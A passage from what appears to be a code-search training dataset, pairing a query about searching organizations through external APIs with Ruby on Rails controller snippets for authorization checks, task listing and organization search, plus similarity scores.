"def show\n unless current_user.present? && @task.category.user == current_user\n flash[:danger] = \"Unauthorized Access.\"\n redirect_to dashboard_path\n end\n end",
"def index\n\n if params[:user_id] && User.find(params[:user_id]) == current_user\n @tasks = @user.tasks\n elsif\n redirect_to missions_path\n flash[:notice] = \"Can't Do that\"\n else\n @tasks = Tasks.all\n end\n end",
"def show\n @notes = @task.task_notes\n @tasks = @task.sub_tasks\n if current_user.allowed_to?(:manage_roles) and @task.user\n session[:employee_id] = @task.user.id\n User.current = @task.user\n end\n end",
"def index\n redirect_to user_tasks_path(current_user)\n end",
"def current_user_authorized?(options)\n\n c_user = current_user\n\n if !c_user\n flash[:info] = \"You must be a member\"\n redirect_to root_url\n return false\n end\n\n case options[:task]\n when :edit_profile, :delete_user\n\n return true if c_user.admin\n\n id = options[:user_id]\n if id.to_i != c_user.id\n flash[:info] = \"Not authorized\"\n else\n return true\n end\n when :admin_task\n if c_user.admin\n return true\n else\n flash[:info] = \"That action require admin privileges\"\n end\n when :member_task\n return true #checked current_user above\n end\n redirect_to root_url\n false\n end",
"def is_admin?\n unless (current_user && current_user.admin)\n flash[:notice] = \"You must be admin in to access this section\"\n redirect_to tasks_url\n end\n end",
"def index\n @tasks = policy_scope(Task)\n record.user == current_user\n end",
"def show\n @task = current_user.tasks.find params[:id] \n\n end",
"def index\n authenticate_user!\n @tasks = current_user.tasks\n end",
"def show\n # authorize Admin\n end",
"def current_user_is_task_user_id\n # set status options, removing processing & completed, may add for stripe integration test\n @my_task_status_options = {available: \"Available\", unlist: \"Unlisted\"} # this transfers over to _form via edit call\n if current_user.id != @task.user_id\n redirect_to tasks_path\n end\n end",
"def set_task\n @task = Task.find(params[:id])\n \n if @task.user_id != @user.id\n render json: { message: \"Not authorized.\" }, status: :unauthorized\n end\n end",
"def active_permitted_tasks\n ( self.restricted? ) ? self.tasks.active : Task.active\n end",
"def show\n if !current_user.isAdmin? and current_user.id != @user.id\n redirect_to user_path(current_user.id)\n end\n end",
"def authorize_admin\n redirect_to root_path unless current.user.immortal?\n end",
"def index\n if not user_signed_in?\n redirect_to :controller => 'home', :action => 'index'\n end\n @tasks = Task.where(createdby: current_user.email)\n end",
"def show\n current_email = current_user.email\n if !current_user.admin? && current_email.gsub(\".\",\"-dot-\") != params[:id]\n flash.keep[:notice] = 'You must be an administrator to access that feature.'\n redirect_to '/'\n end\n super\n end",
"def index\n authorize Task\n # TODO: should be showing students prompts through assessments...\n # TODO: change route, go through assessments?\n # enrollment = Enrollment.where(student_id: current_user.id)[0]\n # if enrollment then section = enrollment.section_id\n # assessments = Assessment.where(section_id: section)\n # end\n\n @tasks = policy_scope Task.all\n @tasks_grid = initialize_grid @tasks\n end",
"def admin_view_hours_prep\n return if current_user.roles.include?(Role.admin_role)\n\n redirect_to root_path\n end",
"def admin_actions\n unless @current_admin.is_super_admin\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n end",
"def show\n @tasks = current_user.assigned_and_written_tasks.pending.paginate(page: params[:page], per_page: 10)\n @fin_tasks = current_user.watching_tasks.completed.paginate(page: params[:page], per_page: 10) unless params[:page]\n end",
"def show\n @task = Task.find(params[:id])\n restrict_access(\"tasks\") if @task.firm_id != @firm.id \n end",
"def authorize_admin\n redirect_to(:controller => 'main', :action => 'index') and return false unless @logged_in_user.is_admin?\n end",
"def show\n # @task = Task.find(params[:id])\n # substituido pela funcao no before_action\n end",
"def show \n if current_user_pending?\n redirect_to edit_administrator_path(@administrator)\n end\n end",
"def admin_signin_status\n unless user_signed_in? && is_admin?\n redirect_to root_url\n end\n end",
"def admin_user\n unless logged_in? && current_user.is_admin?\n flash[:danger] = \"Must be admin to modify ingredients\"\n redirect_to(ingredients_url) \n end\n end",
"def ensure_admin_user!\n redirect_to(news_path, :alert => \"You may not perform this action on News!\") and return unless user_signed_in? && current_user.admin?\n end",
"def index\n @users = User.all\n \n \n @employees = Employee.all\n @eadmin_tasks = EadminTask.all\n @eadmin_tasks = current_user.eadmin_tasks\n\n\n \n end",
"def show\n admin_only do\n end\n end",
"def index\n redirect_to root_path and return unless signed_in?\n set_tasks\n @task = Task.new\n end",
"def list\n redirect_to controller: :content_pages, action: :view if current_user.nil?\n redirect_to controller: :student_task, action: :list if current_user.try(:student?)\n end",
"def index\n @user = current_user\n if @user.project_manager\n @tasks = Task.where(pm_id: @user.id)\n else\n @tasks = Task.where(collaborator_id: @user.id)\n end\n\n end",
"def admin_or_presenter_logged_in\n presenter = find_presenter\n profile = presenter.presenter_profile\n\n if current_user.nil? || (!current_user.admin? && Presenter.find_by(user_id: current_user) != presenter)\n flash[:danger] = \"Unauthorized Access\"\n redirect_to root_url\n #presenter has already submitted to admin for approval\n elsif Presenter.find_by(user_id: current_user) == presenter && profile.pending_admin?\n flash[:info] = \"Cannot modify profile at this time. You already have changes waiting on admin actions.\"\n redirect_to presenter_profile_path(presenter)\n #admin has already submitted to presenter for approval\n elsif current_user.admin? && profile.pending_presenter?\n flash[:info] = \"Cannot modify profile at this time. This profile is waiting on presenter actions.\"\n redirect_to presenter_profile_path(presenter)\n end\n end",
"def tasks_are_active_and_permitted\n self.tasks.all.each do | task |\n errors.add( :base, \"Task '#{ task.augmented_title }' is no longer active and cannot be included\" ) unless task.active\n\n if ( self.user.try( :restricted? ) )\n errors.add( :base, \"Inclusion of task '#{ task.augmented_title }' is no longer permitted\" ) unless self.user.task_ids.include?( task.id )\n end\n end\n end",
"def temp_admin_or_host_ugly\n @event = Event.find(params[:id])\n if@event.is_hosting_event(current_user) && !current_user.admin\n redirect_to :calendar, flash: { error: 'You must be an admin or host of the event to edit it' }\n end\n end",
"def authorize_admin!\n redirect_to login_path unless current_user\n end",
"def set_task\n @task = Task.find(params[:id])\n if @task.list.user_id != @user.id\n redirect_to tasks_path\n end\n end",
"def show\n @tasks = Task.from_user(@current_user).by_status(:confirmed).ordered\n @new_tasks = Task.from_user(@current_user).by_status(:pending).ordered\n @completed_tasks = Task.from_user(@current_user).by_status(:complete).ordered\n end",
"def index\n if(Admin.new.type== current_user.type)\n @instructors = Instructor.all\n else\n flash[:danger] = \"You are not authorized to view this page!\"\n redirect_to user_path(current_user.id)\n end\n end",
"def set_task\n @user = User.find(params[:user_id])\n @task = @user.tasks.find(params[:id])\n\n end",
"def admin_user\n redirect_to(news_index_path) unless is_admin?\n end",
"def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end",
"def user_is_admin\n unless current_user.admin?\n flash[:notice] = \"You may only view existing scenarios.\"\n redirect_to root_path\n end\n end",
"def is_admin?\n redirect_to home_index_path, alert: '请以管理员身份登陆后进行操作!' unless user_signed_in?&¤t_user.admin?\n end",
"def is_admin?\n redirect_to home_index_path, alert: '请以管理员身份登陆后进行操作!' unless user_signed_in?&¤t_user.admin?\n end",
"def index\n @user = current_user\n if current_user.nil?\n redirect_to '/'\n else\n if current_user.has_role?(:student)\n @tasks = Task.where(user: current_user)\n @meetings = Meeting.where(created_by: current_user)\n else\n @tasks = Task.where(user: current_user)\n @meetings = Meeting.all\n end\n end\n end",
"def set_task\n @task = current_user.tasks.find(params[:id])\n end",
"def set_task\n @task = current_user.tasks.find(params[:id])\n end",
"def index # all available task\n @task_check = Task.all\n # need to list only Tasks that is not owned by current_user\n if user_signed_in?\n @my_id = current_user.id\n # All Available task not current_user & checks for accepted_by_user_id == 0\n # query worked only after setting accepted_by_user_id to = 0 from nil\n # Set default field of accepted_by_user_id to 0 within task.rb via after_initialize\n # @tasks = Task.where(\"user_id != ? AND task_status = ? AND accepted_by_user_id = ?\", @my_id, \"Available\", 0)\n @tasks = Task.where(\"user_id != ? AND task_status = ? AND accepted_by_user_id = ?\", @my_id, \"Available\", 0)\n @tasks2 = @tasks\n else\n # All Available task including my tasks : user_signed_in?(false) => index display\n @tasks = Task.where(task_status: \"Available\")\n @tasks2 = @tasks\n end\n end",
"def user\n users_tasks = current_user.tasks\n @main_list = users_tasks.where(:done => false).order(\"deadline ASC\")\n @main_list_header = \"Not done\"\n @done_unbilled_tasks = users_tasks.where(:done => true, :billed => 0).order(\"deadline ASC\")\n @active_subnavi = \"USER\";\n render :index\n end",
"def admin_user\n redirect_to(items_path) unless current_user.admin?\n end",
"def admin_in!\n access_denied! unless current_user.admin?\n end",
"def index\n @tasks =\n if @is_admin\n if id = params[:filter_by_user_id]\n Task.where(user_id: id)\n elsif state = params[:filter_by_state]\n Task.where(state: state)\n else\n Task.all\n end\n else\n Task.where(user_id: @person.id) + Task.where(state: 'open', user_id: nil)\n end\n end",
"def admin_signed_in?\n !current_user.nil? && current_user.AdminScreen?\n end",
"def list_user_tasks\n\t\t@tasks = current_user.get_developer_tasks\n\tend",
"def show\n isadmin\n end",
"def index\n @tasks = @current_user.tasks\n end",
"def edit_before_tournament_starts\n team = Team.find(params[:id])\n redirect_to root_path unless \n (team.users_ids.include?(current_user.id) && \n (team.tournament.status == GlobalConstants::TOURNAMENT_STATUS[:future]))\n end",
"def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end",
"def show\n @personal_task = PersonalTask.find(params[:id])\n if @personal_task.userid != session[:userid]\n flash[:error] = \"You don't have access to that task\"\n redirect_to personal_tasks_path\n end\n end",
"def admin_user\n redirect_to(login_path) unless current_user.is_admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\nend",
"def authorizeAdmin\n redirect_to '/adminlogin' unless admin_user\n end",
"def set_task\n @task = Task.includes(:project).find(params[:id])\n if @task.project.user != current_user\n render plain: '', status: :forbidden\n end\n end",
"def index\n @employee_tasks = current_user.employee_tasks.all\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n end",
"def is_logged_in_and_admin\n unless current_user && current_user.admin? \n flash[:danger] = \"You do not have the ability to do that!\"\n redirect_to root_url\n end\n end",
"def admin_user\n # redirect_to(root_url) unless\n current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n\n end",
"def admin_user\n redirect_to(root_path) unless current_user.admin?\n end",
"def show\n is_admin?\n end",
"def index\n if get_case\n @tasks = @case.tasks.includes(:case, :owner).active_tasks_scope\n @my_tasks = @case.tasks.includes(:case, :owner).where(\"owner_id = ? OR secondary_owner_id = ?\", @user.id, @user.id).active_tasks_scope\n @new_path = new_case_task_path(@case)\n @tasks_a = [@case, Task.new] #for modal partial rendering\n else\n # @my_tasks = @user.owned_tasks.active_tasks_scope\n @my_tasks = @firm.tasks.includes(:case, :owner).where(\"owner_id = ? OR secondary_owner_id = ? AND firm_id = ?\", @user.id, @user.id, @firm.id).active_tasks_scope\n @tasks = @firm.tasks.includes(:case, :owner).active_tasks_scope\n @new_path = new_task_path\n @tasks_a = Task.new #for modal partial rendering\n end\n end",
"def admin_user\n redirect_to(root_url) unless current_user.admin?\n \n end",
"def admin_user\n redirect_to(admin_page_url) if current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless logged_in?&¤t_user.user_role\n end",
"def show\n @patron = Patron.find(params[:id])\n if !current_user.admin?\n @tasks = Task.where(\"completed = ?\", false).where(\"patron_id = ?\", @patron.id).order(sort_column + \" \" + sort_direction)\n else\n @tasks = Task.where(\"completed = ?\", false).where(\"patron_id = ?\", @patron.id).order(sort_column + \" \" + sort_direction)\n end\n \n render :layout => 'patron_layout'\n\n end",
"def require_admin\n if logged_in? and !current_user.admin?\n #flash[:danger] = 'Only admin users can perform that action'\n redirect_to root_path\n end\n end",
"def show\n #TODO\n if !current_user.has_role?(:admin)\n redirect_to events_path\n return\n end\n end",
"def index\n @tasks = Task.where(user_id: current_user.id)\n end",
"def show\n Observer.find_or_create_by(session_id: session[:session_id])\n .update(task_id: @task.id, updated_at: DateTime.now)\n @my_tasks = current_user.tasks.where.not(id: current_user.current_task.id)\n end",
"def admin\n if user_signed_in?\n \t redirect_to members_url\n \telse\n \t redirect_to new_user_session_path\n \t end\n \n end",
"def index\n set_tasks\n if @role === 'admin'\n @tasks = Task.all\n end\n if @role === 'merchant'\n @tasks = Task.where(merchant: spree_current_user.merchant_id)\n end\n end",
"def show\n authorize @admin\n end",
"def index\n if !current_user.admin then\n redirect_back fallback_location: root_path\n end\n @tasks = Task.all\n end",
"def show?\n @current_user.admin?\n end",
"def admin_user\n redirect_to(root_url) unless current_user && current_user.admin?\n end",
"def ownerOrAdmin\n if not signed_in? && (Greenroof.find_by_id(params[:id]).user_id == current_user.id || current_user.admin?)\n redirect_to root_url\n end\n end",
"def admin_actions(user)\n can_act_as_logged_in_user(user)\n can_view_any_profile\n can_view_any_gallery\n can_edit_saved_queries\n can_curate\n can_update_metadata\n can_administer\n end",
"def admin_user\n redirect_to('/') unless current_user.isadmin?\n end",
"def show\n @accounts = Account.accessible_by(current_ability)\n @opportunities = Opportunity.accessible_by(current_ability)\n authorize! :show, @task\n end",
"def admin_user\n redirect_to(admin_page_url) if current_user.admin?\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def before_filter\n if current_user\n true\n end\n end"
] |
[
"0.6764606",
"0.665086",
"0.6645536",
"0.6511329",
"0.6490249",
"0.6485678",
"0.6480702",
"0.64467883",
"0.64385444",
"0.64013124",
"0.6382952",
"0.6374303",
"0.63432145",
"0.6333825",
"0.6331927",
"0.63145214",
"0.6275861",
"0.6267144",
"0.6258642",
"0.62436444",
"0.6240719",
"0.6227407",
"0.61966443",
"0.61927956",
"0.6168611",
"0.6167146",
"0.61616284",
"0.6159581",
"0.615019",
"0.6134134",
"0.613147",
"0.61302364",
"0.6119812",
"0.61185783",
"0.6110653",
"0.611033",
"0.6093472",
"0.6091544",
"0.6081953",
"0.60784864",
"0.60694456",
"0.6066305",
"0.60546154",
"0.60477215",
"0.6047027",
"0.60414684",
"0.6037293",
"0.6033692",
"0.60149324",
"0.60102755",
"0.60102755",
"0.6004429",
"0.6001143",
"0.6001143",
"0.5998821",
"0.59794044",
"0.5976262",
"0.59750956",
"0.59725565",
"0.59688455",
"0.59656215",
"0.59653753",
"0.59609294",
"0.59606105",
"0.59588647",
"0.5957226",
"0.5953937",
"0.5952884",
"0.5951769",
"0.5950776",
"0.59475875",
"0.59398794",
"0.59350586",
"0.5934214",
"0.593197",
"0.59311676",
"0.5926712",
"0.5923311",
"0.5922653",
"0.5922324",
"0.59207577",
"0.592048",
"0.5920226",
"0.5919065",
"0.5915982",
"0.5912838",
"0.59070426",
"0.5906919",
"0.5906685",
"0.5906263",
"0.5903529",
"0.5901438",
"0.5898848",
"0.58917814",
"0.589157",
"0.58912814",
"0.5889091",
"0.58886176",
"0.58886176",
"0.58886176",
"0.588083"
] |
0.0
|
-1
|
Search for organizations via External APIs
|
def search_externally(search_term:)
return [] unless search_term.present? && search_term.length > 2
orgs = externals_search(search_term: search_term)
prepare(search_term: search_term, records: orgs)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def query_organizations(options = nil)\n require_relative 'telerivet/organization'\n self.cursor(Organization, get_base_api_path() + \"/organizations\", options)\n end",
"def index\n @organizations = Organization.by_query(params[:q])\n end",
"def index\n if search_params \n logger.debug \"Got params: #{search_params}\"\n @organization = Organization.find(search_params)\n else\n logger.debug \"No params!\"\n end\n # @organizations = Organization.all\n end",
"def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end",
"def search_organizations(term, value)\n results = @organizations_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |organization|\n # Get related tickets\n organization['tickets'] =\n @tickets_indice.search(term: 'organization_id', value: organization['_id'])\n\n # Get related users\n organization['users'] =\n @users_indice.search(term: 'organization_id', value: organization['_id'])\n end\n end\n results\n end",
"def search \n \n @search_text = params[:search_text] || \"\"\n \n escaped_search_text = Riddle.escape(@search_text) \n \n # Search only non-uninitialized association members\n organizations = Organization.search escaped_search_text,\n :with => { :uninitialized_association_member => 0 },\n :per_page => 1000,\n :star => true \n \n if current_association then\n \n # Search uninitialized association members\n association_organizations = Organization.search escaped_search_text, \n :with => { \n :association_ids => current_association.id, \n :uninitialized_association_member => 1 \n },\n :per_page => 1000,\n :star => true\n \n # Join the association/non-association member results together\n organizations = organizations.concat(association_organizations)\n end\n \n respond_to do |wants|\n \n wants.json do\n \n # When rendering the organizations as json, we only want to render certain attributes/methods. Rendering\n # all of the attributes hurts performance as well as exposes sensitive information that\n # should not be shared.\n render :json => organizations.sort {|x,y| x.name <=> y.name }.to_json(\n :only => [:name, :location, :id, :contact_name],\n :methods => 'name_and_location')\n \n end\n \n end\n \n end",
"def index\n organizations = if params[:q]\n CclaSignature.search(params[:q])\n else\n Organization.includes(:ccla_signatures)\n end\n\n respond_to do |format|\n format.json do\n render json: organizations.to_json(only: [:id], methods: [:company])\n end\n end\n end",
"def index\n @search = params[:search] || Hash.new\n @search[:name_contains] = params[:term] if params[:term]\n @search.each do |k,v|\n if !v.blank? && Organization::SEARCHABLE.include?( k.to_sym )\n @organizations = @organizations.send k, v\n end\n end\n @organizations = @organizations.page(params[:page])\n\n\n respond_to do |format|\n format.html { render action: 'index' } # index.html.erb\n format.json { render json: @organizations.map { |o| { id: o.id, label: o.name, value: o.name(:last_first) } } }\n format.xml { render :xml => @organizations }\n end\n end",
"def index\n if params[:terms]\n # Search mode\n @organizations = []\n JSON.parse(params[:terms]).map { |t| @organizations = @organizations | MnoEnterprise::Organization.where(Hash[*t]).fetch }\n response.headers['X-Total-Count'] = @organizations.count\n else\n # Index mode\n query = MnoEnterprise::Organization\n query = query.limit(params[:limit]) if params[:limit]\n query = query.skip(params[:offset]) if params[:offset]\n query = query.order_by(params[:order_by]) if params[:order_by]\n query = query.where(params[:where]) if params[:where]\n all = query.all\n\n all.params[:sub_tenant_id] = params[:sub_tenant_id]\n all.params[:account_manager_id] = params[:account_manager_id]\n\n @organizations = all.fetch\n\n response.headers['X-Total-Count'] = @organizations.metadata[:pagination][:count]\n end\n end",
"def search_orgs(query, params = {})\n params.merge!(q: query)\n orgs(params)\n end",
"def index\n if params[:search].present?\n # search radius and order by distance\n @organizations = Organization.near(params[:search], 10, :order => 'distance') + Organization.where(\"org_name ILIKE ?\", \"%#{params[:search]}%\")\n\n # ILIKE is a way for insensitive case match\n\n\n if @organizations.empty?\n flash.now[:alert] = \"Your search for #{params[:search]} did not return any results. Please try again.\"\n @organizations = Organization.all\n end\n else\n @organizations = Organization.all\n end\n end",
"def index\n @people_organizations = PeopleOrganization.search(params[:search]).order(\"OrganizationName\")\n end",
"def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end",
"def organization(name, params = {})\n http.get \"/organization/#{name}\", params\n end",
"def organization(name, params = {})\n http.get \"/organization/#{name}\", params\n end",
"def index\n if params[:name]\n @organizations = Organization.where(\"alias LIKE ?\", \"#{params[:name]}%\")\n else\n @organizations = Organization.all\n end\n end",
"def find_organizations\n Organization.all\n end",
"def get_organizations\n begin\n github_api_setup.organizations.list\n rescue Exception => e\n logger.error \"Github #get_organizations error #{e}\"\n end\n end",
"def find_organizations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrganizationsApi#find_organizations ...\"\n end\n \n # resource path\n path = \"/organizations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'attribute'] = opts[:'attribute'] if opts[:'attribute']\n query_params[:'value'] = opts[:'value'] if opts[:'value']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<OrganizationComposite>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrganizationsApi#find_organizations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @organic_units = OrganicUnit.search(params[:search]).paginate(:per_page => 2, :page => params[:page])\n @title = \"Organic Units\"\n @orgs = OrganicUnit.all\n end",
"def organization\n _get(\"/account/organization\") { |json| json }\n end",
"def GetOrgs params = {}\n\n params = params.merge(path: 'organizations.json')\n APICall(params)\n\n end",
"def orgs\n client.organizations\n end",
"def get_organizations\n org_references =\n locations.each_with_object({}) do |loc, acc|\n reference = loc.resource.managingOrganization.reference\n org_id = reference.match(ID_MATCHER)[1]\n\n acc[org_id] ||= []\n acc[org_id] << loc\n end\n\n facility_identifiers = org_references&.keys&.join(',')\n org_response = organization_service.search(_id: facility_identifiers, _count: '100')\n\n org_response&.resource&.entry\n end",
"def search\n @parsed_params = SearchParamsParser.new(params)\n @organisations = Queries::Organisations\n .search_by_keyword_and_category(@parsed_params)\n flash.now[:alert] = SEARCH_NOT_FOUND if @organisations.empty?\n @markers = build_map_markers(@organisations)\n render template: 'organisations/index'\n end",
"def build_orgs(resp)\n doc = Nokogiri.parse(resp.to_str)\n build_items(doc, 'Org')\n end",
"def index\n if params[:search]\n @organizations = Organization.public_search(params[:search]).where(language: cookies[:locale].to_s).page params[:page]\n\n elsif params[:tag]\n sql = \"\"\"SELECT taggable_id FROM taggings\n WHERE taggable_type='Donatable::Organization'\n AND tag_id IN (SELECT id FROM tags WHERE name='#{params[:tag]}');\n \"\"\"\n org_ids = []\n ActiveRecord::Base.connection.select_all(sql).each do |org|\n org_ids << org['taggable_id']\n end\n @organizations = Kaminari.paginate_array(Organization.where(language: cookies[:locale].to_s, id: org_ids)).page(params[:page])\n\n\n else\n @organizations = Organization.where(language: cookies[:locale]).page params[:page]\n end\n end",
"def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n _do_request(grafana_options)\n rescue BackendError\n nil\n end",
"def run\n super\n\n entity_name = _get_entity_name\n\n o = Opencorporates::Api.new.search entity_name\n o[\"results\"][\"companies\"].each do |result|\n next unless result[\"company\"]\n\n _create_entity \"Organization\", {\n \"name\" => result[\"company\"][\"name\"],\n \"uri\" => result[\"company\"][\"opencorporates_url\"],\n \"opencorporates\" => result\n }\n \n end\n end",
"def index\n @organizations = Spree::Organization.all\n end",
"def index\n @organizations = Organization.page(params[:page]).per_page(9).order(\"name DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organizations }\n end\n end",
"def index\n @organizations = Organization.where(:id => current_user.organization_id)\n \n respond_with(@organizations)\n end",
"def list_org\n __log_activity\n __debug_route\n prm = paginator.initial_parameters.except(*Paginator::NON_SEARCH_KEYS)\n org = current_org and current_org!(prm, org)\n terms = prm.delete(:like)\n found = { list: get_accounts(*terms, **prm) }\n @list = paginator.finalize(found, **prm)\n opt = { locals: { name: org&.label } }\n respond_to do |format|\n format.html { render 'account/index', **opt }\n format.json { render 'account/index', **opt }\n format.xml { render 'account/index', **opt }\n end\n end",
"def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n Array(do_request(grafana_options))\n rescue BackendError\n []\n end",
"def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n Array(_do_request(grafana_options))\n rescue BackendError\n []\n end",
"def index\n @organizations = Organization.all\n respond_with(@organizations)\n end",
"def getActiveOrgs\n UI.important(\"Getting organization active organizations from DB\")\n\n begin\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n items = dynamodb_full_scan(dynamodb,\n {\n table_name: \"Organizations\",\n projection_expression: \"id, #SE, #ST\",\n expression_attribute_names: {\n \"#SE\" => \"settings\",\n \"#ST\" => \"status\"\n },\n expression_attribute_values: {\n \":p\" => \"public\",\n \":s\" => true\n },\n filter_expression: \"#ST.active = :s AND #SE.listing = :p\"\n })\n\n orgs = []\n UI.important(\"Organization to BUILD:\")\n items.each do |item|\n orgs.push(item['id'])\n UI.important(item['id'])\n end\n\n return orgs\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return nil\n end\nend",
"def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end",
"def organizations\n\t@organizations = Organization.all\n\t@organization_names = []\n\t@organizations.each do |o|\n\t\t@organization_names << o.name\n\tend\n\t\n\trespond_to do |format|\n\t\tformat.html { render :json => @organization_names }\n\tend\n end",
"def index\n authorize! :read, Person\n\n if params[:q]\n @items = Person.like(params[:q]).alpha.with_orgs\n respond_to do |format|\n format.json {\n @data = { captions: @items.map { |p| p.complete_name_with_org } }\n render json: @data\n }\n end\n else\n respond_to do |format|\n format.html\n format.js\n format.json { render json: PeopleDatatable.new(view_context, @organisation) }\n end\n end\n\n end",
"def get_organization_info\n path = \"/d2l/api/lp/#{$lp_ver}/organization/info\"\n _get(path)\n # return: Organization JSON block\nend",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @orgs = Org.all\n end",
"def orgs(params = {})\n params.merge!(key: 'orgs')\n objects_from_response(Code42::Org, :get, 'org', params)\n end",
"def getInStoreOrgs\n UI.important(\"Getting organization active organizations from DB\")\n\n begin\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n items = dynamodb_full_scan(dynamodb,\n {\n table_name: \"Organizations\",\n projection_expression: \"id, #SE, #ST\",\n expression_attribute_names: {\n \"#SE\" => \"settings\",\n \"#ST\" => \"status\"\n },\n expression_attribute_values: {\n \":p\" => \"public\",\n \":s\" => true\n },\n filter_expression: \"#SE.in_stores = :s AND #SE.listing = :p\"\n })\n\n orgs = []\n UI.important(\"Organization to BUILD:\")\n items.each do |item|\n next unless (item[\"status\"][\"active\"] == true) && \\\n (item[\"id\"] != \"bfanteam\")\n\n orgs.push(item[\"id\"])\n UI.important(item[\"id\"])\n end\n\n return orgs\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return nil\n end\nend",
"def index\n @organization = Organization.find_by_id(params[:organization_id])\n if @organization\n @users = @organization.users\n else\n @status = :fail\n @data = {organization: \"Organization #{params[:organization_id]} not found.\"}\n render status: :not_found, json: json_response(:fail, data: @data)\n end\n end",
"def orgs\n @orgs = Organization.find(:all, :order => 'name ASC')\n\n respond_to do |format|\n format.html # orgs.html.erb\n format.xml { render :xml => @orgs }\n end\n end",
"def index\n respond_with Official.search(official_search_params)\n end",
"def index\n @organizations = Organization.all\n respond_with @organizations\n end",
"def index\n authorize! :index, Organization\n \n @organizations = Organization.paginate(:page => params[:page])\n @organizations = @organizations.where(:category_id => params[:category]) unless params[:category].blank?\n @organizations = @organizations.joins(%(LEFT JOIN \"cache_review_stats\" ON \"cache_review_stats\".\"organization_id\" = \"organizations\".\"id\")).\n where(%(\"cache_review_stats\".\"condition_id\" = 0 OR \"cache_review_stats\".\"condition_id\" IS NULL)).\n select(%(\"organizations\".*, \"cache_review_stats\".\"num_reviews\", \"cache_review_stats\".\"avg_review\")).\n order(%(\"cache_review_stats\".\"avg_review\" DESC NULLS LAST)).\n order(%(\"cache_review_stats\".\"num_reviews\" DESC))\n @organizations = @organizations.near(params[:zipcode], 25) unless params[:zipcode].blank?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organizations }\n end\n end",
"def find_organizations(opts = {})\n data, status_code, headers = find_organizations_with_http_info(opts)\n return data\n end",
"def company_search(options = {})\n path = \"/company-search:(companies:(id,name,universal-name,website-url,logo-url,square_logo_url))?keywords=#{CGI.escape(options[:keyword])}&sort=relevance\"\n # binding.pry\n results = get(path, options)\n # binding.pry\n end",
